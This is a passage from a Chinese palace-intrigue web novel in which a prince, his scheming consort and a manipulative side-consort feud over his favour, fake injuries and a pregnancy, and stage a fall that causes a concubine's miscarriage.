进宫述职后,裴墨染本想回北镇抚司,可他收到消息赵婉宁从楼梯上摔下来,当即策马回府。 …… 清心阁。 赵婉宁冷笑,“有了云清婳当炮灰在前面顶着,这么一对比,不懂事的就是云清婳。” “王妃英明。”青樱漫不经心地夸奖着,心里却隐隐不安。 这般浮躁,不像云清婳的性子。 她素来能忍,颇有心机,为何被激将几句就真的派人去找王爷? 恐怕还留有后手啊。 青樱正想说出推测时,门被打开。 第57章 主子,您入戏真快! 裴墨染带着府医走了进来,他见赵婉宁面色红润,淡淡地问:“王妃,你没事吧?” “妾身没事。”赵婉宁无比感动。 她心里想着,王爷还是关心她的。 府医给赵婉宁检查了伤势,结果她连皮都没蹭破,更没有红肿、淤青。 登时,裴墨染沉了脸,“本王公务繁忙,夜以继日,王妃却连这么点小事,都要把本王叫回来,你岂有一点王妃风度?” 赵婉宁的嘴半张着,有些难以置信他的指责。 看着眼前人,她倍感陌生。 从前,她哪怕是手磕碰到了,裴墨染都会心疼半天。 可今日她摔下台阶,裴墨染居然怪她没有受伤? 他究竟有没有良心? 眼泪从她的眼眶滚出,“王爷,妾身真的受伤了,妾身方才真的好害怕啊……” 裴墨染也觉得自己的话有些重,他叹了声,“罢了。” 他在清心阁用了膳,可脑袋里却时不时浮现云清婳的身影。 “王爷这两个月都宿在公廨,臣妾好想念王爷,可又不敢打扰。王爷,您今晚陪陪臣妾可好?”赵婉宁诉说着相思。 裴墨染不由得想到今日蛮蛮的举动,实在胡闹无状。 他想让蛮蛮别再任性,冷一冷她,于是点了点头。 只是,他无心床笫之事,特别是经历过上次被赵婉宁下药。 任凭赵婉宁使尽了解数,裴墨染也无动于衷。 夜深了,裴墨染背对着赵婉宁,心被莫大的不安感包裹。 这熟悉的感觉…… 就好像他又冤枉了蛮蛮。 而赵婉宁满脸泪痕,她咬着下唇,唇瓣都咬出了血。 为何裴墨染不愿意碰她? 这一晚,裴墨染彻夜未眠。 但玄音阁中,云清婳却一夜好梦。 …… 清晨,天蒙蒙亮。 玄音阁的大门便被推开,一阵沉稳却轻的脚步声由远及近从庭院传来。 飞霜慌忙将睡得正酣的云清婳摇醒,“人来了,人来了!别睡了!” 云清婳揉揉眼睛,坐起身。 她穿着绸白亵衣,抱膝坐在榻上,痴痴地看着挂在窗边的纸鸢。 就像是一个深闺怨妇。 飞霜都惊了,她没想到主子入戏这么快。 “主子,天都亮了,快睡吧,王爷不会来了。”飞霜握着她的肩膀。 云清婳吸吸鼻子,她似是泄了力,无助地靠在飞霜身上,“飞霜,我很令人讨厌吗?” “怎会?主子是奴婢见过最善良大方的人,谁见了您不欢喜?”飞霜安慰。 她用手揩去眼角的泪,“嗯。” 门外,裴墨染将主仆的对话听得一字不差。 他隔着门纱,看清了云清婳的憔悴与凄凉,有一点心疼。 明明只是给了她一点点冷落,一早他就来了,怎么弄得像是受了天大的委屈? “蛮蛮。”裴墨染敲了敲门。 “太好了!主子,王爷来了!”飞霜惊喜地说。 裴墨染的嘴角上扬。 他已经想好了,稍后哄完蛮蛮,要跟她讲讲道理,让她不准再像昨日那般放肆争宠。 可门内传来门栓被落上的声音,“不给他开!” “蛮蛮,让本王进来。”裴墨染蹙眉,耐着性子哄她,“你可是为昨日的事生气?本王今日不是来了吗?” “王爷昨日不来,今日何必来?”云清婳站在门后,声音颤抖。 一门之隔,她哽咽的声音无比清晰地传进裴墨染的耳中。 裴墨染感觉心头有些酸涩,“蛮蛮,别哭了,本王今日一整天都陪你可好?” 她擦干了眼泪,颤声说:“已经不需要了!” 裴墨染听到她平静的声音,心里反而慌了。 “王爷,妾身今日想回一趟娘家。”云清婳又操着公事公办的语气,不带一丝情感。 他最恨她这样冷漠。 他也恼了,“就因为一点点小事你就要回娘家?你可是在威胁本王?蛮蛮,你仗着本王宠你,愈发胡闹了!” 裴墨染怒火中烧。 她难不成是想回娘家告状? 或是想跟上次在白鹿山一样,躲他一个月? “还请王爷批准。”云清婳又道。 “不准!”裴墨染很想咆哮,可却压下了,“没有本王的允许,你哪儿也不准去!” 他甩袖离去。 门内传来云清婳崩溃的哭声。 他的心酸涨得厉害,从未如此难受过。 裴墨染现在只想赶去北镇抚司,只要忙起来,就不会想她了。 可他才走到大门,便看见诸葛贤策马而来。 “诸葛先生?可是北镇抚司有人犯案?”裴墨染的面色一沉,焦急地问。 诸葛贤气喘吁吁,手都在抖,“不,重大案件都已到达尾声,即将结案。老夫是方才在公廨里,听见了几个文官对话。” “说了什么?”裴墨染轻扬下巴。 诸葛贤上下打量着裴墨染,心中有种不好的预感,他张开泛着乌红色的唇,“王爷,您没有因为昨日的事训斥云侧妃,对吧?” “本王……”他有些不悦,“这是本王的家事,诸葛先生为何总是插手?” “已经不是家事了!”诸葛贤气闷,“王爷此次结了十几个要案,都是云丞相暗中疏通关系,三司六部敞开任您调卷、抓人,才得以一路畅通。” 裴墨染怒了,“本王还要三拜九叩,感谢云家的恩惠不成?更何况没有云家,本王迟早也能查出来!” “王爷智勇双全,自然能查出来,可云丞相此举,不过是为了帮您节省时间,以此换来您陪云侧妃过十七岁生辰。”诸葛贤有些激动,声音都提高了。 “昨日是蛮蛮的生辰?”裴墨染的桃花眼瞪大了一圈。 心脏一缩,像是被狠狠揪住。 可他昨日宁愿陪了装病的赵婉宁,都没有去找蛮蛮。 蛮蛮一夜未眠,可方才他还训斥蛮蛮。 裴墨染转身往府内快步走去。 而玄音阁方才发生的一切,很快也传了出来。 门外,赵婉宁正悠悠地看着戏。 “这云清婳也真够蠢的!王爷好心来看她,她居然敢跟王爷闹脾气。”青樱摇摇头。 她觉得或许真是她多虑了,高估了云清婳。 云清婳再聪明又如何? 也不过是一个渴望被夫君疼爱的小姑娘罢了。 正说着,玄音阁的门开了。 云清婳已经梳妆打扮好,她穿着明艳的浅紫色襦裙,梳着堕马髻,戴着金银满钿,“见过王妃,王妃怎么来了?” “听闻云妹妹跟王爷生了嫌隙,都是我疏忽了,昨日王爷光顾着陪我,没成想忽略了云妹妹。”赵婉宁故意扎她的心窝子。 云清婳不作反应,福身道:“还请王妃准许妾身回娘家,妾身晌午便回来。” 赵婉宁忍不住笑了,“云妹妹,是王爷下令要把你禁足,你这不是让我为难吗?你别再倔了,当心损了第一贵女的风范。” “云侧妃,女子出了嫁便是夫家人,您哪还有娘家?云侧妃,您快回去吧,别让王妃难办!”青樱的言辞犀利起来。 云清婳眨眨眼睛,泫然欲泣。 沈沁也劝说云清婳,让云清婳快些回去。 赵婉宁见她不动,冷着脸下令:“将云侧妃拖回玄音阁严加看守,免得云侧妃糊涂,违抗王爷的命令!” 几个婆子就要上前抓住云清婳的胳膊,裴墨染健步走来,他怒斥:“放肆!” 众人跪下。 裴墨染张开双臂,将她拥进怀中,他在她耳畔道:“蛮蛮,本王错了。” 第58章 跟她玩强制爱? 看到这一幕,赵婉宁、沈沁、魏娴又一次惊住了。 就连赵婉宁都没办法再自欺欺人。 裴墨染……真的变心了! 云清婳的眼泪似泉眼般汩汩流下,“王爷不是要把妾身禁足吗?您这是做什么?” 他双眼锁定赵婉宁,怒斥道:“王妃,本王何时说要将云妃禁足?” “臣妾……”赵婉宁的唇瓣轻颤。 裴墨染冷冽地瞥了她一眼。 果然,玄音阁还有赵婉宁的耳目。 “都滚!”他目光扫视一圈,眼神都沾上了厌恶。 蛮蛮跟他吵嘴的事情一传出去,她们便都来看热闹。 这些人,没一个好东西! 赵婉宁几人不甘地告退。 “蛮蛮,本王方才才知昨日是你的生辰。”他捧着她的脸,看着她的双眼,“倘若本王知晓,无论公务有多繁忙,定会赶回来陪你。” 云清婳掀起粉红的眼皮,眼中蕴着浓浓的失望跟委屈,“可是王爷昨日回府了,也没来找妾身。” 他急忙辩解:“那是因为王妃从台阶上摔下,受伤了。” “方才王妃倒是好得很。”云清婳说完,似乎意识到不妥,立即跪下,“妾身僭越了,不该议论揣度王妃。” 裴墨染被她的举动给刺疼了双眼,他们二人虽说才成婚半年,但何至生疏于此? 蛮蛮是觉得他对她都是虚情假意,对婉宁才是真心? 他连忙将她从地上扶起,可云清婳的身子瑟缩了下。 裴墨染见她惶恐的模样,心头一紧,缓缓松开了她的纤细的胳膊,难过的问:“蛮蛮,你怕本王?” “妾身不敢。”云清婳的声音低哑。 裴墨染分外郁闷,方才都是他不好,话说重了,把蛮蛮吓到了。 “方才是本王不好,本王不该凶蛮蛮,可本王是怕你回娘家之后,就不肯回府了。”他弯着腰,敛去锋芒,甚至一脸讨好。 云清婳在心里暗骂,狗男人,方才想跟她玩强制爱,让她哪都不能去的架势呢? “蛮蛮,你跟王妃在本王心里是一样的,你亦是本王的妻子。本王不是无心之人,你待本王的好,本王都记在心里。”他信誓旦旦地说,似乎不掺一丝假。 她的视线缓缓上移,落在他的脸上,怯怯的问:“倘若真的一样,王爷昨日为何不愿见妾身?” 裴墨染蹙眉,有些难以启齿,“本王……” 他明明答应过蛮蛮,不会往坏处想她。 可这一次,他又食言了。 “王爷觉得妾身恃宠而骄,任性争宠?让您在北镇抚司的同僚面前丢了面子?”云清婳直击红心,一语道破。 他抿着唇,喉头干涩地应了一声,“嗯。” 她无奈地长长吐出一口气,“上次中秋宫宴,正是王爷跟妾身情意甚笃之时,妾身昏了头,私自跟娘说好生辰第二日要回门。若是食言,恐怕爹娘会胡乱猜测,损了双方信任。” 裴墨染的心像是被一块巨石压着,愧疚感快要将他淹没。 她坚持回门,居然是为了安抚云丞相。 “本王陪你。”他道。 云清婳自嘲般牵唇一笑,“王爷不必迁就妾身,您公务繁忙,怎可为了小事耽搁?” “有云丞相助力,北镇抚司的案子才得以这么快结案,省下来的时间本就该用来陪你。”他耐心地跟她解释政事。 她正想福身感谢,裴墨染快一步扶住她,“蛮蛮,这次是本王不对,你别憋在心里,跟本王生分了。想生气便生气,你打本王出气也可。” 说着,他竟当真抓起她的手往胸口上狠狠砸。 他们还站在玄音阁的门前,不少婢女都看着。 这一幕让众婢女吃惊。 云清婳的眼泪又跟珠帘似的往下坠,她挣扎着缩回手,“黄河不可复西流,您这样又有何用?” “……”他哑然。 裴墨染明白她的酸楚,并不责怪她的小脾气。 她是被云家捧在手心呵护的掌上明珠,是京中世家小姐追捧的第一贵女。 想必前十六年,她的生辰宴都无比盛大。 可昨日她什么都没有,这种落差感,任谁也受不了。 “蛮蛮以后也别给本王过生辰可好?”裴墨染思来想去,想到了这个办法。 “……” 云清婳一愣,被他的不要脸给气笑了。 见状,裴墨染稍稍松了口气。 回门后,云清婳没有对裴墨染表现出丝毫生分。 裴墨染同云家人用了午膳,云家虽说是书香门第,却意外地豁达豪放,没有繁文缛节,跟他们相处,他觉得很舒心,甚至体会到了一丝丝熟悉又陌生的温情。 他看到云家人送给云清婳价值连城的生辰礼时,心中的愧意到了顶峰。 天幕黑沉时,他们才回肃王府。 裴墨染陪着云清婳去了玄音阁。 他搂着她的肩膀,“蛮蛮可有想要的宝贝?” 从相府出来后,他的心上就好似飘了一缕白烟,萦绕交缠在心头,让他不安。 只有补偿她,那缕烟才会消散。 “王爷待妾身很好,妾身没有缺的。”云清婳的肩膀一僵。 裴墨染感受到她的不自在,只好松开她,他承诺道:“明年的生辰,本王一定为蛮蛮大办。” “多谢王爷。”她挤出了笑。 他觉得她像一只长满软刺的小刺猬,任凭他怎么讨好,她都不肯交心。 裴墨染想要对她好,可她什么都不缺,管家权她也有了。 于是,他简单粗暴地径自去了门外,吩咐贴身太监打开私库,让人将最贵重的玲珑鸾镜、传世头面以及女子用得上的物件全都抬到玄音阁。 云清婳自然听到了他的吩咐,桃花眼中迸发出不屑。 狗男人想通过这点小恩小惠,以此来填平心中的愧疚。 可她才不会轻易放过他。 只要她不满意,狗男人就会不停地想补偿她。 她可不做一锤子买卖。 当然,她敢作,是因为吃准了裴墨染不愿亏欠别人,同时又渴望被爱。 “主子,王爷赏了这么多好东西,足以见得他有多珍视您。您别怄气了,其实王爷也难受。”飞霜瞥见屏风后湖蓝色的衣摆,苦口婆心劝着。 云清婳捧着脸,若有所思地坐在桌前,“我不是怄气,我是真的高兴不起来。我素来不看重身外之物,就算把金山搬来,也不如他陪我吃顿饭。” 屏风后,裴墨染的心一颤。 蛮蛮待他的心,至真至纯。 他听到这些话,隐隐有些高兴,可更多的是慌乱。 这份真情,似乎在流逝。 “这还不简单?明日奴婢就去传话,请王爷来用膳。”飞霜俏皮地说。 云清婳摇摇头,“你不懂。我感受不到他的爱意了,把人栓在身边有什么意思?王妃打个喷嚏就能把他叫走。” 裴墨染的喉咙像是被堵住,灼烧得厉害。 蛮蛮不慕名利权势,唯独想要他的偏爱。 在帝王之家,这反而最廉价的东西! 他为何不能多给她些? 裴墨染暗自下定了决心。 王妃的位置已经是赵婉宁的了,蛮蛮这么好,他的宠爱自然该偏向蛮蛮。 第59章 独一无二的偏爱 深夜,二人静静的躺在榻上,相对无言。 云清婳阖着双眼,均匀的呼吸,像是陷入了梦乡。 突然,裴墨染将她拥进怀中,下巴抵着她的发顶,“本王知道你没睡。” “嗯。”云清婳慵懒的应了一声。 “蛮蛮,本王日后一定会记得你的生辰,我们还有一辈子呢,以后每一年,本王都陪你过。”说着,他的双臂不断收紧,似乎抱得越紧,二人的心就能更贴近些。 云清婳感到奇怪。 他今日怎么这么有耐心? 换作以前,他早就懒得哄了。 吃错药了? “王爷,生辰而已,妾身不会在意的。”云清婳只好顺着他演下去。 裴墨染支起身子,双眼炙热的望向她的眸,着急的说:“还说不在意?你都不唤本王夫君了。你生本王的气,就发泄出来,别跟本王生分了。” 她鼓着嘴,“妾身可不敢。” “你有什么不敢的?这是本王允许的,之前你不是还扇过本王的脸?”他的墨眸中写满了认真。 云清婳当真有些摸不准他了。 这个进度,比她想象的快。 她原本以为,裴墨染对她的喜欢只有五成,也就是对待猫猫狗狗的喜欢。 可现在看来,他似乎有些用心了。 “妾身真的没什么想发泄的,王爷……夫君很好。”她强颜欢笑,只是眉眼间的凄楚浓得化不开。 裴墨染看着她红肿的眼,心中泛起一丝丝心疼。 他知道她是心寒了,她在意的不仅仅是他没陪她过生辰,而是他在她跟赵婉宁之间,选择了赵婉宁。 所以,她以为他满腔都是虚情假意。 “蛮蛮,本王知道你怪本王昨晚去了清心阁,可昨晚本王一夜都没睡好,本王一直在想你,总觉得对不住你。”他似真非真地卖惨,将脸埋进她的颈窝蹭了蹭。 言下之意便是,他跟赵婉宁没做什么。 他觉得这些话,蛮蛮或许爱听。 不知不觉中,他居然放低了身段,企图通过卖惨来博取她的同情。 看样子,裴墨染有点被她驯服的兆头了。 很好! 她好似心软了,用手背揩去眼泪,“骗人!您总是忽冷忽热的,这会儿哄着妾身,可过几日发生一点风吹草动,你就会怀疑妾身,冷落妾身。” 裴墨染语塞,他们之间的确总是这样,分分合合。 他吻去她的眼泪,郑重地说:“蛮蛮,之前都是本王多疑,总是猜忌你。可本王也是人,也有良心,你这么好,本王怎么忍心一直伤害你?” “……”云清婳的黛眉一拧,眼眸中蕴着警惕,满脸都写着怀疑。 裴墨染有些无奈,果然,蛮蛮还是不肯信他。 不过这样,他反而放心了。 她冰雪聪明,被他伤害了这么多次,倘若她还傻乎乎地信他,那就绝对是演的。 裴墨染笨嘴拙舌,实在不知怎么让她相信,“蛮蛮,你总不能让本王把心掏出来给你看吧?王妃跟你在本王心里都是一样的,若是蛮蛮受伤,本王也会担心蛮蛮。” 云清婳决定试探一把大的,“夫君,妾身的父母、兄嫂身边只有彼此,妾身期望的感情,亦是如此。可嫁给了夫君后,妾身便不敢再奢求,可是总还是抱有一丝幻想。” 她想要狗男人独一无二的偏爱! “蛮蛮,本王已经辜负了王妃,将来府里会有更多的姬妾,本王无法再许诺你一生一世一双人,但你在本王心里是特殊的。”他的语气有些苦涩。 他向来磊落,最恨违背诺言。 所以,他不会拿这种事骗她。 云清婳对这个答案还算满意。 她已经从裴墨染眼中的外人,变成了特殊的存在。 可她还是挤出失望的表情。 裴墨染将她的神情尽收眼底。 思及此,他更想要补偿她。 今夜无星无月,两心也并不相照。 二人沉默着相拥而眠。 …… 翌日清早。 云清婳跟裴墨染一同用膳。 二人的关系肉眼可见地缓和了,却也没有恢复从前。 裴墨染心中有愧,上赶着讨好她。 一会儿搛菜,一会儿嘘寒问暖,命人给她添衣,还命婢女给她煮了些养生汤。 “王爷真关心主子。”飞霜笑吟吟地说。 云清婳只觉得可笑。 狗男人够贱,曾经她讨好他时,他动不动就冷战、闹脾气。 现在她冷脸了,他倒是知道讨好了。 忽的,庭院里传来急促的脚步声。 “王爷,王妃昨日摔倒,腿上青紫了一片,疼的厉害,还请您去看看。”青樱跪在院子里恳求。 飞霜以及庭院里其他丫头都觉得晦气。 一大清早的就来明晃晃的抢人,膈应谁呢? 云清婳的眼底闪过一抹讥诮,她斜眸,悄悄看着裴墨染的反应。 裴墨染蹙眉。 昨日,他便看了赵婉宁的伤势,她的腿根本一点事都没有。 更何况,他们曾经一起上过战场,她跌下马背都不曾掉一滴眼泪。 这次怎就变得身娇肉贵了? 她又不是蛮蛮。 云清婳的眼神复杂,她没有感情道:“夫君去看王妃吧。” 裴墨染一看便知,她又生气了。 她觉得他心里没她,王妃随随便便就能把他叫走。 他冲门外低吼:“身上疼就去看大夫,本王又不是神医。” 此话一出,所有人都惊了。 “……是。”青樱被吓的一颤,声音颤抖的应声。 玄音阁的婢女都幸灾乐祸的睨着青樱,捂着嘴偷笑。 她们终于扬眉吐气了一次! 裴墨染的手覆上云清婳的小手,脸上隐隐露出求夸奖的表情,“本王说好了陪你,就会陪你。” 这次换云清婳诧异。 裴墨染似乎不看重赵婉宁了。 “夫君,您这样,妾身好怕。”她主动趴在他的怀里,环抱住他的腰。 “怕什么?本王又不是冲你。”裴墨染揉揉她的脑袋。 她抬起脸,幽怨地看他,“您每次一对妾身好,没几日咱们就又会生嫌隙。” “有本王在,别怕。” 裴墨染既然已经下定决心,给赵婉宁权力,给蛮蛮偏爱,自然不会让蛮蛮再被旁人欺负。 第60章 攀咬云清婳? 另一边,清心阁。 青樱没请来裴墨染,赵婉宁气得狂怒。 她揪住手边的婢女就扬起巴掌,狠狠往她的脸上招呼,“贱人!贱人!贱人!” “你凭什么抢王爷?凭什么?” 她打急了眼,双目赤红,如同罗刹恶鬼,手上不停地重复一个动作。 “啊……” 婢女的头皮好像要被扯掉,地上散落了几缕头发,口鼻都被打出血,“啊……” 直到赵婉宁打累了,才松开婢女。 婢女像是失去了知觉,瘫倒在地,一动不动。 其他婢女瑟瑟发抖。 青樱自然也吓得不行,她察言观色,让其他人将满脸是血的婢女拖出去。 赵婉宁从发间拔出一根素银簪子,丢到地上,就像给了莫大的恩赐,“赏她了。” “是。”青樱手指颤颤地从地上捡起染血的簪子。 赵婉宁擦去手上的血渍,眼神阴毒,“云清婳这个贱人!凭什么跟我抢王爷?” 她可是现代人,云清婳只是一个封建古板的小姐,怎能跟她比? “王妃,您可是千金之躯,何必为狐狸精动怒?反正也生不了!”青樱劝道。 赵婉宁勾唇,“是啊,云清婳不可能有孕。一时看来,似乎得了恩宠,可不过是王爷的泄欲玩具罢了。” 青樱迎合称是,她道:“咱们的人说,崔夫人这几日见了红,孩子估计是保不住了,可她不敢声张。” “孩子既然保不住了,就该好好利用,她若是聪明,就该赖到云清婳身上。”赵婉宁像极了吐信子的毒蛇。 “奴婢明白了。”青樱阴恻恻地笑了。 …… 裴墨染连续三日没有去北镇抚司,都在玄音阁陪着云清婳。 清晨,诸葛贤来催,裴墨染才离开。 云清婳长舒了口气,“可算走了。” “看样子,王爷对您认真了。”飞霜窃喜。 她颔首,眼神幽深,“是有几分上心,但远远不够,不把赵婉宁从他的心里踢出去,他就不可能满心满眼都是我。” “诸葛贤查到了赵婉宁的孩子吗?”云清婳问。 飞霜叹了口气,“诸葛贤已经找到赵婉宁的孩子了,可他只是一个外臣,怎好议论王爷的家事?” 云清婳颔首,只要一切尽在掌控之中就好,“等赵婉宁天怒人怨,诸葛贤自然会忍不住。” 主仆正说着,沈沁来了。 她给云清婳煮了养胃汤,带来了一篇手抄的经文。 “云姐姐,我竟不记得前几日是你的生辰,我是来赔罪的,礼物不值钱,姐姐不要嫌弃啊。”沈沁俏皮地说。 云清婳拿起桌上的话本子,虚虚打沈沁的肩膀,“你呀,着实该打。” “呵呵……”沈沁的笑声如银铃。 飞霜命人煮了采集来的晨露,端上来一杯上好的云雾龙井,“沈夫人的心意,我们主子都明白的,主子本来也不准备大办。” 嗅着茶香,竟让人别样地心旷神怡。 沈沁捏着玉盏,贪恋地望着其中浮浮沉沉的茶叶,竟舍不得入口。 这茶叶像极了贡品,估计也不是常人能吃到的。 这足以见得,云姐姐对她的重视。 “云姐姐,我听说了一件事。”沈沁压低声音。 飞霜跟沈沁的婢女默契地将门窗阖上。 云清婳抬眼,表情严肃起来,她正色问:“何事?” “我的丫头看见,崔氏的婢女这几日总是偷偷摸摸地采买艾草。我出阁前见过姨娘用熏艾保胎,我猜崔氏孩子保不住了。”沈沁用气音道。 此话一出,飞霜的眼中闪过一丝精光。 这件事,她们早就知道了。 崔氏这几天,出了三次血。 不出意外,小产就是这几天的事。 “崔氏虽然不聪明,但还不至于蠢得无可救药。经过上次的事,她应该明白,害她孩子的不是我。”云清婳捻起桌上的糕点。 沈沁心疼地看着她,“咱们问心无愧有什么用?就怕崔氏是条疯狗,逮住谁咬谁。” “你也小心些,让你的人离她远点,千万别被攀扯上。”她关怀道。 沈沁双眼攒出了晶莹,她感动道:“我知道了,云姐姐,你放心。” 人走后,飞霜感慨般地说:“看来沈夫人是跟主子交心了,她这么好的女子,真是可惜了,要在后宅蹉跎。” 云清婳抚着小腹,嘴角蕴着幽深的笑,“崔氏的孩子没了,才能显出我的‘孩子’珍贵。” 飞霜掐了下指头,“药效只剩半个月了,主子得快些了。” “嗯。”她颔首。 …… 沈沁离开玄音阁后,婢女明珠忍不住道:“主子,您对云妃这么好,可她对你却算不得亲近。其实也不见得王爷有多喜欢她,不过是看在云家的面子上罢了。” “住口!”沈沁瞪了明珠一眼,“我跟云姐姐才相交多久?倘若她拿出十分真心待我才有问题。” 再说了,王爷喜不喜欢云姐姐,旁人不晓得,她怎会不晓得? 她侍寝的时候,王爷就曾呓语过蛮蛮,蛮蛮正是云姐姐的小名。 “主子,咱们回去喝药吧?老爷催了好几次了,您的肚子可不能一直没动静。”明珠担忧地说。 沈沁看向崔氏的住处,“不急!” 她径自去了崔氏的宅院。 崔氏面色苍白地躺在榻上。 沈沁含着幸灾乐祸的笑睨着她,“你不是自诩嫡女,矜贵得很吗?如今怎么连门都出不了了?” “谁让你来的?给我滚!我怀的是王爷的长子,你个贱婢怎么敢来耀武扬威的?”崔氏拿着枕头砸她。 沈沁身子一斜,轻轻松松地闪开了. 她走上前,一把扼住崔氏的衣领,“别以为你肚子里的东西是金疙瘩!我警告你,日后当心点,你屡次三番陷害云姐姐,真不怕有报应?” “你威胁我?谁让你来的?云清婳?!”崔氏的眼中迸发出恨意。 沈沁冷哼,“没人让我来,我只是看不惯你总是找云姐姐的麻烦!你最好别背着我们玩小把戏。” 说着,她嫌脏似地松开崔夫人的衣领,用帕子仔仔细细的擦手。 崔氏的婢女张开双臂,护在崔夫人身前,“沈夫人,还请您自重!您跟我们主子同为夫人,您怎可前来挑衅?” “我哪敢挑衅她啊?”沈沁扬起巴掌,啪—— 一耳光脆生生扇了下去。 崔氏的婢女的脸被打得偏了过去。 “啊……”崔氏的腹部绞痛,她捂着肚子,“沈沁,你个贱婢,你怎敢打我的人?” 第61章 被推下台阶 “一个贱婢罢了,我想打就打,难道还要挑日子?正好给你们涨涨记性!”沈沁又扬起手,大耳光子往婢女脸上啪啪啪地甩。 婢女的鼻子都被打出血,嘴角都破了。 崔氏心疼地大喊:“沈沁,你给我住手!来人啊,来人啊……” 可她现在算是被禁足,根本没有人理她。 沈沁打累了,终于停手,她向来天真的脸上浮现出森冷,“崔慧贤,你有本事就去告状!看看我打了一个婢女,有没有人会管呵呵呵呵……” 她笑着离开。 崔夫人气得牙齿直哆嗦,恨不得将沈沁扒皮抽筋,“贱人!别以为攀上云清婳就能万事大吉!你们给我等着!” …… 不知不觉入了冬,京城的第一场雪悄然而至。 年底,云清婳提前给府里的夫人、下人拨了月钱、喜钱。 瑞雪兆丰年,府里一派喜乐融融的景象。 下人都私下说,云清婳比赵婉宁大方。 这把赵婉宁气得,划破了清心阁好几个婢女的脸。 云清婳正拨弄算盘,算账时,青樱来了。 “云侧妃,梅园的梅花开了,王妃邀您前去踏雪赏梅。” “我这就去,都有哪些人?”云清婳状似不经意地问。 青樱笑道:“奴婢正要说呢,三位夫人都在。王妃见崔氏可怜,允许她出来走走,还请云侧妃莫要见怪。” “怎会?”云清婳起身去屏风后。 飞霜给她披上银裘映雪披风,“主子,可得小心,她们要开始了。” “嗯。” …… 梅园。 云清婳来时,沈沁跟崔夫人已经吵完一架了。 赵婉宁端着主母的架势,威严将二人说道了一遍。 “云妹妹,你劝劝沈夫人吧,毕竟崔夫人怀了长子,不论如何,她也该让着崔夫人不是?”赵婉宁的口吻尽显无奈。 这又是在拉仇恨。 暗示崔夫人,沈沁只是云清婳的狗。 云清婳才是罪魁祸首。 云清婳福福身,恭敬道:“王妃是后宅之主,您若是劝不下,妾身怎敢尝试。” “哼!”崔夫人甩袖。 她知道赵婉宁十有八九是害了她腹中孩儿的凶手,可云清婳也不见得是好人。 “别站在湖边了,去露台吧,上次的事情,我可不想再发生了。”赵婉宁示意她们移步。 “是。” 几人带着婢女,拢共有十几人上了露台。 肃王府的露台比寻常人家的高一点,足足有二十阶,是根据裴墨染的喜好,仿照校场里的露台建的。 在露台上,梅园的景观尽收眼底。 “云姐姐,这梅花好香,等会儿咱们摘点梅花回去,闻闻香气也是好的。”沈沁说道。 云清婳颔首。 飞霜跟明珠跑下露台,前去折花。 几人专心地赏梅。 后面的赵婉宁纵观全局,她冲青樱使了个眼色。 云清婳正在赏梅,背后突然传来一记重击。 她羸弱的身子,被撞得往前一倾,砰—— 云清婳没看清,浑浑噩噩的撞到了人,她刚想要用手撑起身子,可下一秒,那人拉着她滚了下去。 她的脚下踩着霜雪一滑,跟着前面的人一同滚下了台阶。 幸好裹了最厚重的裘绒大氅,滚了几阶她就停住了,并不是很疼。 “啊——” “血……” “崔夫人流血了,崔夫人流血了!” 崔夫人趴在地上,发髻散乱,姣美的脸蛋破了皮,大汗涔涔,她的腹部传来剧烈的绞痛,她含恨睨着台阶中央的云清婳。 云清婳,既然你欺辱我,那就跟我一起遭殃吧! 赵婉宁镇定自若,她指挥道:“快去请府医,不!去请太医!还有,快请王爷回来!” 她要把事情闹大,最好闹到皇上面前,让云清婳彻底死无葬身之地! “是。” 梅园乱成了一团。 飞霜、沈沁碍于积雪,半晌才赶到云清婳身边,将她扶了起来。 “云姐姐,你没事吧?”沈沁担心地问。 飞霜心疼地拉着她的手,给她检查伤势。 云清婳有些头晕,她轻声道:“我没事。” 赵婉宁浑身蕴着怒意,她大步上前,正义凛然地呵斥:“云清婳!你放肆!你居然当着我的面推崔夫人下台阶!若是孩子保不住,你也去死吧!” “王妃,方才是有人推了妾身,妾身才不慎撞了崔夫人。”云清婳不卑不亢。 “可有证人看见了?”赵婉宁环视四周。 可十个的婢女纷纷摇头。 从她们的角度来看,的确是云清婳突然前倾,然后伸手推了崔夫人,之后她被崔夫人抓着滚下台阶。 “云清婳,你太让我失望了!”赵婉宁下达命令,“来人,将她关入柴房,等王爷回府再发落处置!” 清心阁的婆子上前,正欲抓住云清婳。 云清婳不紧不慢抬起巴掌,狠狠甩了她一耳光,“放肆!你何等卑贱,怎敢碰我?处置我,也该是王爷来。” 这话激怒了赵婉宁,她歇斯底里地斥道:“你耳聋了吗?把她给我抓住!” 婆子犹豫着刚抬起手,云清婳又一巴掌扇了过去。 “你敢!”云清婳一字一顿。 婆子只好退下。 赵婉宁恨得咬牙切齿,她在心里默默咒骂。 看云贱人还能得意多久! 王爷、皇后有多期待这个孩子,这是众所周知的。 云清婳这次谋害长子,就算王爷平日昏了头,可遇到这种大事,他也绝对不会姑息。 …… 裴墨染很快便回府了。 一群人站在崔夫人的庭院里。 赵婉宁气势汹汹地训斥云清婳。 云清婳的鼻尖泛着红,委屈地忍着眼泪。 见状,裴墨染的心中隐隐泛起了一丝心疼。 她这么羸弱,胆子又小,怎受得住婉宁的训斥? 他大步走到云清婳身前,将她护在背后,“又出什么事了?” 门内时不时传出崔夫人凄厉的惨叫跟哭喊。 “呜呜呜……王爷,您要给我们主子做主啊!云侧妃方才在露台上推了主子,主子滚下台阶,小产了!”崔夫人的婢女扑通一声跪下,使劲磕头。 裴墨染的心咯噔一下。 毕竟是他的第一个孩子,他虽然不喜崔氏,但对孩子也是怜惜的。 他走进房中,看着哭得不能自已的崔夫人,不由得觉得她可怜。 “放心,本王会还你一个公道。”裴墨染沉闷地开口。 崔夫人哭得气都喘不上来,她指着云清婳,哑声道:“是她!是她推了妾身!” 她自然知道云清婳是被赵婉宁冤枉的,但现在能拉谁垫背,她就拉谁。 “王爷,臣妾这一次没有失察,臣妾亲眼看见的确是云妹妹推了崔夫人。虽然云妹妹说,有人撞她,但婢女都没看见。”赵婉宁福福身,恳切的说。 赵婉宁心中在暗笑,王爷的眼睛里容不得沙子,这下他该厌弃云清婳了吧。 裴墨染烦躁不堪。 他不相信蛮蛮会做出这等恶毒的事。 一旁的云清婳一直没有说话,她想要看看这次裴墨染的态度。 检验一下训狗成果。 “可看见了是谁推你?”裴墨染突然转身,语气柔和下来。 第62章 蛮蛮,我们有孩子了 云清婳双眼含泪,她似乎受到了惊吓,愣怔地摇头。 飞霜跪下,忍不住道:“王爷明察,主子也滚下台阶了,自然看不见。” “什么?”裴墨染赶紧牵着云清婳的手,上下仔仔细细地打量她,“没受伤吧?太医可看过?” 